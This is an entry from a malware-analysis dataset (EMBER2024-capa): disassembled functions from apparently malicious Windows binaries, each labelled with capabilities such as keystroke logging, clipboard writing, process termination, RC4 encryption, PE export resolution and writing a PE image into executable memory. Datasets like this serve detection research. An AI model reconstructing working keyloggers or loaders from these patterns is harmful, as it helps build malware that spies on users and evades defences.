joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b4a20
Capabilities:
Write clipboard data

Disassembly:
sub esp, 8
push ebx
mov ebx, ecx
mov ecx, 0x4fd770
push esi
mov esi, edx
call fcn.00406bd0
test eax, eax
jne 0x4b4a51
push 0x4cec30
push str.Cant_open_clipboard_for_writing.
mov ecx, 0x4fcc10
call fcn.0044df00
pop esi
pop ebx
add esp, 8
ret
push ebp
push edi
call dword [sym.imp.USER32.dll_EmptyClipboard]
lea eax, [ebx + esi]
lea esi, [ebx + 4]
mov dword [esp + 0x14], eax
cmp esi, eax
ja 0x4b4ad9
mov ecx, dword [ebx]
mov dword [esp + 0x10], ecx
test ecx, ecx
je 0x4b4ad9
mov edi, esi
add esi, 4
cmp esi, eax
ja 0x4b4ad9
mov edi, dword [edi]
mov ebx, esi
add esi, edi
cmp esi, eax
ja 0x4b4ad9
xor eax, eax
test edi, edi
sete al
add eax, edi
push eax
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
je 0x4b4b8d
test edi, edi
je 0x4b4ac3
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x4b4b28
push edi
push ebx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov ebx, esi
push ebp
push dword [esp + 0x14]
call dword [sym.imp.USER32.dll_SetClipboardData]
mov eax, dword [esp + 0x14]
lea esi, [ebx + 4]
cmp esi, eax
jbe 0x4b4a67
cmp dword [0x4fd788], 0
je 0x4b4b1b
cmp dword [0x4fd778], 0
je 0x4b4b01
push dword [0x4fd770]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov dword [0x4fd778], 0
call dword [sym.imp.USER32.dll_CloseClipboard]
mov dword [0x4fd788], 0
mov dword [0x4fd770], 0
pop edi
pop ebp
pop esi
mov eax, 1
pop ebx
add esp, 8
ret
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
cmp dword [0x4fd788], 0
je 0x4b4b71
cmp dword [0x4fd778], 0
je 0x4b4b57
push dword [0x4fd770]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov dword [0x4fd778], 0
call dword [sym.imp.USER32.dll_CloseClipboard]
mov dword [0x4fd788], 0
mov dword [0x4fd770], 0
push 0x4cec30
push 0x4cf21c
mov ecx, 0x4fcc10
call fcn.0044df00
pop edi
pop ebp
pop esi
pop ebx
add esp, 8
ret
cmp dword [0x4fd788], 0
je 0x4b4bcf
cmp dword [0x4fd778], 0
je 0x4b4bb5
push dword [0x4fd770]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov dword [0x4fd778], 0
call dword [sym.imp.USER32.dll_CloseClipboard]
mov dword [0x4fd788], 0
mov dword [0x4fd770], 0
push 0x4cec30
push 0x4e2be8
mov ecx, 0x4fcc10
call fcn.0044df00
pop edi
pop ebp
pop esi
pop ebx
add esp, 8
ret
Function at 0x4b5990
Capabilities:
Check for foreground window switch
Log keystrokes

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x14]
mov ebx, ecx
push esi
push edi
mov edi, edx
movzx eax, word [edi]
cmp eax, 0x41
je 0x4b59a9
cmp eax, 0x61
jne 0x4b5a11
cmp word [edi + 2], 0
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
jne 0x4b5a19
cmp word [ecx], 0
jne 0x4b5a19
cmp word [eax], 0
jne 0x4b5a19
cmp word [ebp], 0
jne 0x4b5a19
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
test esi, esi
je 0x4b5a11
cmp byte [ebx + 0xea], 0
jne 0x4b59f6
push esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x4b5a11
mov ecx, esi
call fcn.004b6e50
test al, al
jne 0x4b5a11
push esi
call dword [sym.imp.USER32.dll_IsIconic]
test eax, eax
je 0x4b5a0a
push 9
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x20]
test dl, dl
jne 0x4b5a50
cmp word [edi], 0
jne 0x4b5a50
cmp word [ecx], 0
jne 0x4b5a50
cmp word [eax], 0
jne 0x4b5a50
cmp word [ebp], 0
jne 0x4b5a50
mov ecx, ebx
call fcn.004b6310
test eax, eax
je 0x4b5a6e
mov ecx, eax
pop edi
pop esi
pop ebp
pop ebx
jmp fcn.004b5a80
push dword [esp + 0x28]
push dword [esp + 0x28]
push 0
push edx
push ebp
push eax
push ecx
mov edx, edi
mov ecx, ebx
call fcn.004b6150
add esp, 0x1c
test eax, eax
jne 0x4b5a45
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x4b5ed0
Capabilities:
Check for time delay via gettickcount
Terminate process

Disassembly:
push ecx
cmp byte [esp + 8], 0
push ebx
push esi
push edi
mov ebx, edx
mov esi, ecx
je 0x4b5f3a
lea eax, [esp + 0xc]
push eax
push 0x1f4
push 2
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_SendMessageTimeoutW]
test eax, eax
jne 0x4b5f47
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov eax, dword [esp + 0x14]
test eax, eax
je 0x4b5f47
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x4b5f47
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4b5f47
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
xor edi, edi
test ebx, ebx
cmovns edi, ebx
test edi, edi
je 0x4b5fb3
push ebp
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, dword fs:[0x24]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x18], eax
nop word [eax + eax]
cmp dword [0x4fcbf0], ebx
jne 0x4b5f89
mov edx, 1
mov ecx, 0x8000012f
call fcn.004018d0
jmp 0x4b5f8d
push 0xa
call ebp
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4b5fab
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esp + 0x18]
add ecx, edi
sub ecx, eax
cmp ecx, 5
jg 0x4b5f70
pop ebp
pop edi
mov eax, esi
pop esi
pop ebx
pop ecx
ret
pop edi
mov eax, esi
pop esi
pop ebx
pop ecx
ret
Function at 0x4b6150
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x11c6c
call fcn.004cc6a0
mov eax, edx
mov edx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
mov dword [esp + 8], eax
movzx eax, word [eax]
push edi
mov edi, ecx
cmp eax, 0x41
je 0x4b6181
cmp eax, 0x61
jne 0x4b61e4
mov ecx, dword [esp + 0xc]
cmp word [ecx + 2], 0
jne 0x4b61e4
cmp word [ebx], 0
jne 0x4b61e4
cmp word [edx], 0
jne 0x4b61e4
cmp word [esi], 0
jne 0x4b61e4
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
test esi, esi
je 0x4b61cb
cmp byte [edi + 0xea], 0
jne 0x4b61cb
push esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x4b61c9
mov ecx, esi
call fcn.004b6e50
test al, al
je 0x4b61cb
xor esi, esi
cmp byte [ebp + 0x18], 0
je 0x4b61db
test esi, esi
je 0x4b61db
mov dword [edi + 0xc4], esi
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test ax, ax
jne 0x4b6206
cmp word [ebx], ax
jne 0x4b6206
cmp word [edx], ax
jne 0x4b6206
cmp word [esi], ax
jne 0x4b6206
mov ecx, edi
call fcn.004b6310
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [esp + 0x10]
call fcn.0044f920
push esi
push edx
push ebx
push dword [esp + 0x18]
push edi
call fcn.004b6fa0
test eax, eax
je 0x4b62d2
test byte [esp + 0x10], 2
mov al, byte [ebp + 0x14]
mov byte [esp + 0x183d], al
mov eax, dword [ebp + 0x1c]
mov dword [esp + 0x184c], eax
mov eax, dword [ebp + 0x20]
mov dword [esp + 0x1850], eax
je 0x4b62db
mov esi, dword [esp + 0x102c]
cmp esi, 0xffff
je 0x4b62aa
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4b62d2
cmp byte [edi + 0xea], 0
mov esi, dword [esp + 0x102c]
jne 0x4b62aa
push esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x4b628d
mov ecx, esi
call fcn.004b6e50
test al, al
je 0x4b62a3
push 0xfffffffffffffff0
push dword [esp + 0x1030]
call dword [sym.imp.USER32.dll_GetWindowLongW]
test eax, 0x40000000
je 0x4b62d2
mov esi, dword [esp + 0x102c]
cmp dword [esp + 0x1864], esi
je 0x4b62c3
lea ecx, [esp + 0x10]
mov dword [esp + 0x1864], esi
call fcn.004b74e0
push 0
lea ecx, [esp + 0x14]
call fcn.004b75c0
test eax, eax
jne 0x4b62eb
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x10]
push eax
push 0x4b63b0
call dword [sym.imp.USER32.dll_EnumWindows]
cmp byte [ebp + 0x18], 0
mov eax, dword [esp + 0x1844]
je 0x4b62d4
test eax, eax
je 0x4b62d4
mov dword [edi + 0xc4], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4b74e0
Capabilities:
Get graphical window text

Disassembly:
push ecx
push esi
mov esi, ecx
mov ecx, dword [esi + 0x1854]
test ecx, ecx
je 0x4b75b5
mov eax, dword [esi]
test eax, eax
je 0x4b75b5
push edi
test al, 1
jne 0x4b750d
mov eax, dword [esi + 0x100c]
cmp word [eax], 0
je 0x4b7527
push 0x7fff
lea edi, [esi + 0x1860]
push edi
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
jne 0x4b7527
mov word [edi], ax
test byte [esi], 4
mov edi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
je 0x4b7541
lea eax, [esi + 0x185c]
push eax
push dword [esi + 0x1854]
call edi
test byte [esi], 0x20
je 0x4b757d
lea eax, [esp + 8]
push eax
push dword [esi + 0x1854]
call edi
test eax, eax
je 0x4b757d
movzx eax, byte [esi + 0x182c]
lea edx, [esi + 0x11a60]
push eax
push ecx
mov ecx, dword [esp + 0x10]
call fcn.0047ab30
add esp, 8
test eax, eax
jne 0x4b757d
mov word [esi + 0x11a60], ax
test byte [esi], 8
pop edi
je 0x4b759b
push 0x101
lea eax, [esi + 0x1185e]
push eax
push dword [esi + 0x1854]
call dword [sym.imp.USER32.dll_GetClassNameW]
test dword [esi], 0x100
je 0x4b75b5
push dword [esi + 0x1854]
call dword [sym.imp.USER32.dll_GetParent]
mov dword [esi + 0x1858], eax
pop esi
pop ecx
ret

Function at 0x4b7fc0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x11c68
call fcn.004cc6a0
mov edx, dword [ecx + 8]
test edx, edx
je 0x4b805b
lea ecx, [esp]
call fcn.0044f920
mov al, byte [ebp + 8]
mov byte [esp + 0x1848], al
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x184c], eax
mov eax, ecx
push eax
push 0x4b87a0
mov dword [esp + 0x184c], edx
call dword [sym.imp.USER32.dll_EnumWindows]
cmp dword [esp + 0x1834], 0
je 0x4b805b
mov eax, dword [0x4f8174]
cmp dword [eax + 0x54], 0xffffffff
jle 0x4b805b
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x4fcbf0], eax
je 0x4b8048
mov eax, dword [0x4f8174]
push dword [eax + 0x54]
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [0x4f8174]
mov edx, 1
mov ecx, dword [ecx + 0x54]
call fcn.004018d0
mov eax, 1
mov esp, ebp
pop ebp
ret 8
Function at 0x4b8340
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x11c74
call fcn.004cc6a0
push ebx
push esi
mov esi, ecx
push edi
cmp dword [esi + 8], 0
je 0x4b8531
push 0
call fcn.004b8540
test eax, eax
jne 0x4b8373
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push dword [0x4f8174]
mov ebx, eax
mov ecx, esi
push ebx
call fcn.004b85e0
test eax, eax
je 0x4b8397
xor edx, edx
mov dword [0x4fc374], edx
jmp 0x4b839d
mov edx, dword [0x4fc374]
lea ecx, [esp + 0x18]
call fcn.0044f920
cmp byte [ebp + 8], 0
je 0x4b83b8
mov byte [esp + 0x1845], 0
test edx, edx
je 0x4b83c0
mov byte [esp + 0x1845], 1
mov eax, dword [0x4fc370]
mov edi, dword [sym.imp.USER32.dll_EnumWindows]
mov dword [esp + 0x1854], eax
mov eax, dword [esi + 8]
mov dword [esp + 0x185c], eax
lea eax, [esp + 0x18]
push eax
push 0x4b8670
mov dword [esp + 0x1860], edx
call edi
mov eax, dword [esp + 0x184c]
test eax, eax
je 0x4b84f9
mov dword [esp + 0x10], eax
lea eax, [esp + 0x10]
push eax
push 0x4b6e10
mov dword [esp + 0x1c], 0
call edi
mov edi, dword [esp + 0x14]
test edi, edi
je 0x4b845c
mov ecx, dword [0x4fc374]
xor eax, eax
mov edx, dword [esp + 0x184c]
mov esi, dword [0x4fc370]
test ecx, ecx
jle 0x4b8441
cmp dword [esi + eax*4], edx
je 0x4b8453
inc eax
cmp eax, ecx
jl 0x4b8437
cmp ecx, 0x1f4
jge 0x4b8453
mov dword [esi + ecx*4], edx
inc ecx
mov dword [0x4fc374], ecx
mov dword [esp + 0x184c], edi
jmp 0x4b8463
mov edi, dword [esp + 0x184c]
mov ecx, edi
call fcn.004b5a80
mov ecx, dword [0x4fc374]
xor eax, eax
mov edx, dword [esp + 0x184c]
mov esi, dword [0x4fc370]
test ecx, ecx
jle 0x4b848d
cmp dword [esi + eax*4], edx
je 0x4b849f
inc eax
cmp eax, ecx
jl 0x4b8483
cmp ecx, 0x1f4
jge 0x4b849f
mov dword [esi + ecx*4], edx
inc ecx
mov dword [0x4fc374], ecx
mov eax, dword [0x4f8174]
cmp dword [eax + 0x54], 0xffffffff
jle 0x4b8531
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [0x4fcbf0], eax
je 0x4b84d8
mov eax, dword [0x4f8174]
push dword [eax + 0x54]
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [0x4f8174]
mov edx, 1
mov ecx, dword [ecx + 0x54]
call fcn.004018d0
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [0x4fc374]
test eax, eax
je 0x4b8531
cmp eax, 1
mov dword [0x4fc374], 0
setg al
test al, al
je 0x4b8531
mov ecx, dword [0x4fc370]
push 0
mov dword [0x4fc374], 1
mov dword [ecx], ebx
mov ecx, esi
call fcn.004b8340
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4cc02b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4cc06a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4cc06a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4cc06a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4cc06a
cmp dword [ecx + 0x74], 0xe
jbe 0x4cc06a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10102b7
Capabilities:
Resolve function by parsing pe exports

Disassembly:
test byte [esp + ecx*4], ah
add byte [eax], al
add byte [ebx - 0x76b7fd3f], al
dec esp
and al, 0x10
Function at 0x10107fc
Capabilities:
Resolve function by parsing pe exports

Disassembly:
and al, 0xfe
add eax, 3
mov dword [esp + 0x24], eax
jmp 0x1010657

Function at 0x1011913
Capabilities:
Resolve function by parsing pe exports

Disassembly:
and al, 0x84
add byte [eax], al
add byte [ebx + 0x842484], cl
add byte [eax], al
Function at 0x1012475
Capabilities:
Resolve function by parsing pe exports

Disassembly:
je 0x101249b
and byte [ebx - 0x397cf939], al
add ecx, dword [ecx - 0x74ebdb84]
pop eax
add al, 0x8a
xchg esp, eax
and al, 0x84
add byte [eax], al
add byte [esi - 0x75], ah
ret
mov dword [esp + 0x12], eax

Function at 0x1012650
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov byte [ecx - 1], bl
mov bl, byte [edx + 2]
mov byte [ebp - 1], bl
mov bl, byte [edx + 3]
mov dl, byte [esp + 0x84]
and bl, dl
and bl, 0x3f
mov byte [edi], bl
mov esi, dword [esi + 8]
xor ebx, ebx
inc edi

Function at 0x1012670
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
xor ebx, ebx
inc ecx
mov bl, byte [eax + 1]
mov byte [ecx - 1], bl
mov bl, byte [eax]
mov byte [ecx], bl
mov bl, byte [eax + 2]
mov byte [ebp], bl
mov al, byte [eax + 3]
and al, dl
inc ecx
and al, 0x3f
inc ebp
mov byte [edi], al
inc edi
mov dword [esp + 0x28], edi
mov eax, dword [eax]
xor edx, edx
and eax, 0xff
xor ebx, ebx
shl eax, 2
inc ecx
mov dx, word [eax + 0x5fc804a8]
inc ecx
inc ebp
mov bl, byte [esi + edx*4 + 1]
lea edx, [esi + edx*4]
mov byte [ecx - 2], bl
mov esi, dword [esp + 0x2c]
mov bl, byte [edx]
mov bx, word [eax + 0x5fc804aa]
lea eax, [esi + ebx*4]
xor ebx, ebx
mov bl, byte [eax + 1]
cmp bl, 2
jne 0x1010f27
jmp 0x1012628
Function at 0x1007dc69
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1009ad04]
jne 0x1007dc73
repz ret
jmp fcn.1007f09d

Function at 0x1007f561
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1007d68f
and dword [ebp - 4], 0
cmp dword [0x1009d2b8], 0
mov ebx, eax
jne 0x1007f612
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1007f6c3
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1007f6c3
push eax
call fcn.1007d61d
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1009d2b8], eax
call esi
push eax
call fcn.1007d61d
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1009d2bc], eax
call esi
push eax
call fcn.1007d61d
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x1009d2c0], eax
call esi
push eax
call fcn.1007d61d
pop ecx
mov dword [0x1009d2c8], eax
test eax, eax
je 0x1007f612
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1007d61d
pop ecx
mov dword [0x1009d2c4], eax
mov eax, dword [0x1009d2c4]
cmp eax, ebx
je 0x1007f66a
cmp dword [0x1009d2c8], ebx
je 0x1007f66a
push eax
call fcn.1007d698
push dword [0x1009d2c8]
mov esi, eax
call fcn.1007d698
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1007f66a
test edi, edi
je 0x1007f66a
call esi
test eax, eax
je 0x1007f661
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1007f661
test byte [ebp - 0xc], 1
jne 0x1007f66a
or dword [ebp + 0x10], 0x200000
jmp 0x1007f6a3
mov eax, dword [0x1009d2bc]
cmp eax, ebx
je 0x1007f6a3
push eax
call fcn.1007d698
pop ecx
test eax, eax
je 0x1007f6a3
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1007f6a3
mov eax, dword [0x1009d2c0]
cmp eax, ebx
je 0x1007f6a3
push eax
call fcn.1007d698
pop ecx
test eax, eax
je 0x1007f6a3
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1009d2b8]
call fcn.1007d698
pop ecx
test eax, eax
je 0x1007f6c3
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1007f6c5
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10081cce
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x1009a93c], 0x545
mov dword [0x1009a944], 0
mov dword [0x1009a948], 0
mov dword [0x1009a954], 0
mov ebx, dword [0x1009a940]
add ebx, 0x1628
mov dword [0x1009a940], ebx
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
jne 0x10081d47
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add ecx, 1
mov dword [ebp - 0x2c], eax
mov eax, ecx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x1009a944], edx
mov ecx, dword [ebp - 0x20]
movzx edi, byte [ecx + edx]
mov ebx, dword [ebp - 0x30]
add edi, ebx
mov eax, edi
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x1009a948], edx
mov dword [0x1009a93c], 0x1d10
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x1009a94c], cl
mov dword [0x1009a940], 0x609
mov edi, dword [ebp - 0x20]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov edx, dword [0x1009a940]
add edx, 0x19b1
mov dword [0x1009a93c], edx
mov cl, byte [0x1009a94c]
mov edx, dword [0x1009a948]
mov byte [edi + edx], cl
mov edx, dword [0x1009a944]
movzx edx, byte [edi + edx]
mov ebx, dword [0x1009a948]
movzx ebx, byte [edi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x1009a954], ebx
mov edx, dword [0x1009a93c]
add edx, 0x223a
mov dword [0x1009a940], edx
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x2c]
mov cl, byte [edx + ecx]
xor cl, byte [edi + ebx]
mov ebx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x2c]
mov byte [ebx + edx], cl
add edx, 1
mov ecx, dword [ebp - 0x10]
cmp edx, ecx
mov dword [ebp - 0x38], edx
je 0x10081d3f
mov eax, dword [0x1009a944]
mov ecx, dword [0x1009a948]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x28], edx
jmp 0x10081d47
Function at 0x10081e49
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x40
mov eax, dword [ebp + 8]
mov ecx, dword [0x1009a93c]
add ecx, 0x3ed
mov dword [0x1009a940], ecx
mov dword [ebp - 0x10], eax
call fcn.1008210d
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
cmp dword [eax + esi], 0x4550
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], ecx
je 0x10081ee7
jmp 0x10081ef7
mov eax, dword [ebp - 0x20]
add eax, 1
mov cl, byte [ebp - 0x21]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x22]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x28], eax
jne 0x10081f5b
jmp 0x10081f88
mov eax, dword [ebp - 0x2c]
movzx ecx, word [eax]
mov dword [0x1009a93c], 0xffffffa6
mov edx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x30]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x18]
add edi, dword [edx + ecx*4]
mov dword [ebp - 0x34], edi
jmp 0x10081fb9
mov eax, dword [ebp - 0x14]
mov dword [0x1009a93c], 0xf35
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov dword [0x1009a93c], 0x295
mov eax, dword [eax + 0x78]
mov edx, dword [ebp - 0x18]
add edx, dword [edx + eax + 0x20]
mov esi, dword [ebp - 0x18]
mov edi, dword [esi + eax + 0x18]
cmp edi, 0
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x34], ecx
je 0x10081fb9
xor eax, eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x30]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov esi, dword [ebp - 0x3c]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x28]
mov ecx, eax
mov edx, dword [ebp - 0x4c]
add ecx, edx
mov esi, dword [ebp - 0x18]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x21], bh
mov byte [ebp - 0x22], cl
jne 0x10081e8e
mov al, byte [ebp - 0x22]
test al, 1
jne 0x10081ebf
jmp 0x10081f95
xor eax, eax
mov ecx, dword [ebp - 0x2c]
add ecx, 2
mov edx, dword [ebp - 0x48]
add edx, 1
mov esi, dword [ebp - 0x38]
cmp edx, esi
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x34], eax
jb 0x10081f41
mov eax, dword [ebp - 0x34]
add esp, 0x40
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10081fc4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x1009a940], 0x32d
mov dword [0x1009a93c], 0x2f1
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
jmp 0x10081ffb
mov eax, dword [ebp - 0x34]
add esp, 0x4c
pop esi
pop ebp
ret
mov eax, dword [ebp - 0x30]
mov cl, byte [eax + 0x1008597e]
mov dl, byte [eax + 0x1008594f]
sub dl, cl
mov byte [ebp + eax - 0x24], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x30], eax
jne 0x10081ffb
lea eax, [ebp - 0x24]
mov dword [ebp - 0x38], eax
call fcn.100828bd
mov dword [esp], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
call fcn.100829a9
xor ecx, ecx
mov edx, dword [0x1009a940]
add edx, 0xffffda10
mov dword [0x1009a93c], edx
cmp eax, 0
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x34], ecx
je 0x10081ff2
mov eax, dword [ebp - 0x3c]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x1009a93c]
add ecx, 0xffffdc04
mov dword [0x1009a93c], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x40], eax
call fcn.1008258e
xor eax, eax
mov ecx, dword [ebp - 0x40]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xc0
mov dword [ecx + 0xc0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x5c], ecx
mov ecx, dword [ebp - 0x40]
mov dword [edx + 4], ecx
mov esi, dword [0x1009a940]
add esi, 0xfffff7f4
mov dword [0x1009a93c], esi
cmp ecx, 0
mov dword [ebp - 0x34], eax
je 0x10081ff2
mov eax, dword [ebp - 0x40]
add eax, 0x1402
mov dword [0x1009a93c], 0x348
mov dword [ebp - 0x34], eax
jmp 0x10081ff2